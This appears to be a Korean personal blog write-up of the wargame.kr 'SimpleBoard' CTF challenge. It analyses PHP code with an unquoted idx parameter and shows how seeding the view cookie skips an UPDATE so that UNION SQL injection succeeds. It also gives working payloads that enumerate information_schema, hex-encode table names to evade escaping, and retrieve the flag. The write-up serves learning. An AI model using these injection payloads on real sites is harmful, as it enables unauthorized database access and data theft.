wargame.kr 14번 SimpleBoard 라는 문제다.

점수는 600point!

Union SQL injection을 하라는 것 같다. 스크립트도 만들어야 할 것 같은 느낌이든다.

시작해보자.

흠...첫화면에서 조회수를 클릭하면 조회수가 1증가하는 것 같다. 소스부터 보자.

여기까진 정확히 뭘 원하는지 모르겠다.

일단 소스부터보자.

소스가 지금까지 문제들 보단 좀 복잡한 느낌이다. 캡처본 말고도 더 많은 코드가 있는데 일단 분석하면

서 중요하게 본 부분만 따왔다.

php를 따로 공부해본적이 없어서 분석하는데 꽤나 고생을 했다......

전체적인 동작은 쿠키값을 이용해 입력받은 idx 번호가 쿠키에 존재하는 값이면 조회수가 증가하지 않고

쿠키에 존재하지 않는 값이면 1증가하는 방식인 것 같다.

이 중에서

return $this->db->get_query("select * from {$this->table} where idx=$idx");

이부분이 눈길이 간다. 일단 single quote가 없다. 힌트에서도 union sql injection 쓰라 했으니 url로

가볍게 값을 넘기면 될 것 같다. 근데 아니었다. 뭔가 이상하다. 1개부터 20개까지 넣어 봤는데 무조건

에러가 뜬다. 멘붕이 오기 시작했다.


코드를 천천히 다시 분석해봤다.

public function read($idx){
            $idx = mysql_real_escape_string($idx);
            if ($this->read_chk($idx) == false){
                $this->inc_hit($idx);
            }
            return $this->db->get_query("select * from {$this->table} where idx=$idx");
        }

일단 입력 준 5 union select 1,2,3,4# 이란 코드가

return $this->db->get_query("select * from {$this->table} where idx=$idx");

에서 실행되는데는 전혀 문제가 없는 것 같다. 그렇다면 그 전에 inc_hit()함수가 호출되면서 뭔가 에러

가 생기는 것 같다.

   private function read_chk($idx){
            if(strpos($_COOKIE['view'], "/".$idx) !== false) {
                return true;
            } else {
                return false;
            }
        }

private function inc_hit($idx){
            $this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx");
            $view = $_COOKIE['view'] . "/" . $idx;
            setcookie("view", $view, time()+3600, "/SimpleBoard/");
        }
일단 inc_hit() 함수가 호출되려면 read_chk()함수가 호출되야 한다. 뭘 하는가 봤더니 쿠키값에 입력한 idx 값이 있는지를 검사한다. 값이 없어야만 조건이 성립되어 inc_hit()함수로 넘어가 조회수가 1 올라가는 형태인 것 같다. 그렇다면 내가 입력한 5 union select 1,2,3,4# 값은 당연히 쿠키에 저장이 되어 있지 않을테니 최초에 inc_hit()로 넘어갈 것이고 update문이 실행될 것이다. 문제는 여기다. 여기서 에러가 발생하는 것 같다. 그래서 다음코드로 못넘어가고 위에
 $this->db->get_query("select * from {$this->table} where idx=$idx");
부분이 실행이 안되 예상처럼 union sql injection 이 안먹히는 것 같다. php 및 디비 관련 지식이 완전하지 않고 이 문제에 대해 풀이를 여러 글들을 봤는데 잘하시는 분들한텐 너무 당연해서 딱히 설명을 안하셨는지 url로 union sql injection 값을 넘겼을 때 무조건적으로 에러가 나는 이유가 나와있지 않아서 확실한진 모르지만 스스로 분석을 해봤다.

그렇다면 이걸 바탕으로 분석해보자. 일단 위에 상태라면 쿠키값에는 update문에서의 에러 때문에 입력한 5 union select 1,2,3,4#값이 들어갈 수 가 없다. 그래서 계속 시도해봤자 저 구문에서 막히고 말 것이다. 그렇다면 쿠키값에 애초에 5 union select 1,2,3,4#값이 들어있다면?
 if ($this->read_chk($idx) == false) 부분에서 조건이 성립이 안되  inc_hit()이 실행이 안된 상태로
$this->db->get_query("select * from {$this->table} where idx=$idx"); 먹히게 된다.

자. 해야 될 건 다 끝났다 한번 생각한 것이 맞는지 시도해보자.

burp suit를 켜고 쿠키값에 /5 union select 1,2,3,4#을 넣어 준후 다시한번 url sql injection을 시도해보자.


휴... 드디어 성공.. 알고보면 정말 간단한 패턴인데 아직 웹쪽 언어에 대해 정말 많이 부족하다고 느꼈다. 근데 이게 끝이 아니다. 이제 시작... ㅎㅎ

쿠키값과 쿼리 입력 값을 맞추면 union sql injection이 가능한데 이걸 수동으로 하면 너무 오래걸리고 귀찮은 작업이다.  그래서 간단한 파이썬 스크립트를 작성했다.


이제 5 union select table_name, table_type, 3, 4 from information_schema.tables limit 1,1# 방식으로 limit 1,1 값을 하나씩 올려보자.

쭉 하다보니 40번째에서 README 라는 수상한 테이블이 발견됬다. 힘드네... 이거까지 스크립트 만들어 돌리기엔 너무 머리가 아파서 수동으로 했다. 휴... 근데 너무 뒤에나옴..ㅠ


그럼 이번엔  5 union select column_name, data_type, 3, 4 from information_schema.columns where table_name='README'# 입력해보자. 끝이 보인다...

...? 에러가 뜬다. 아.. 생각해보니 소스에서 escape했던게 기억이 난다. 'README'를 hex 값으로 바꿔 전송해보자.

 5 union select column_name, data_type, 3, 4 from information_schema.columns where table_name=0x524541444d45# 입력


flag라는 컬럼 발견.......하 다왔다 진짜.

5 union select flag, 2, 3, 4 from REAME# 입력

405cf51a2791003d336843ced53270b0f625388d
나왔다 드디어 ........... 성공!!

시작하는 단계라 문제 푸는 동안 배워야할 지식이 많아 지금까지 문제에 비해 많은 시간을 투자한 것 같다. 시간이 걸린만큼 배워가는 개념들이 많았던 문제이다. 아직 갈길이 멀다는걸 또한번 느낀 문제였다.


'Wargame > wargame.kr' 카테고리의 다른 글

wargame.kr pyc decompile  (0) 2018.01.04
wargame.kr web chatting  (0) 2018.01.04
wargame.kr tmitter  (0) 2018.01.04
wargame.kr type confusion  (0) 2018.01.04
wargame.kr strcmp  (0) 2018.01.04
블로그 이미지

JeonYoungSin

메모 기록용 공간

,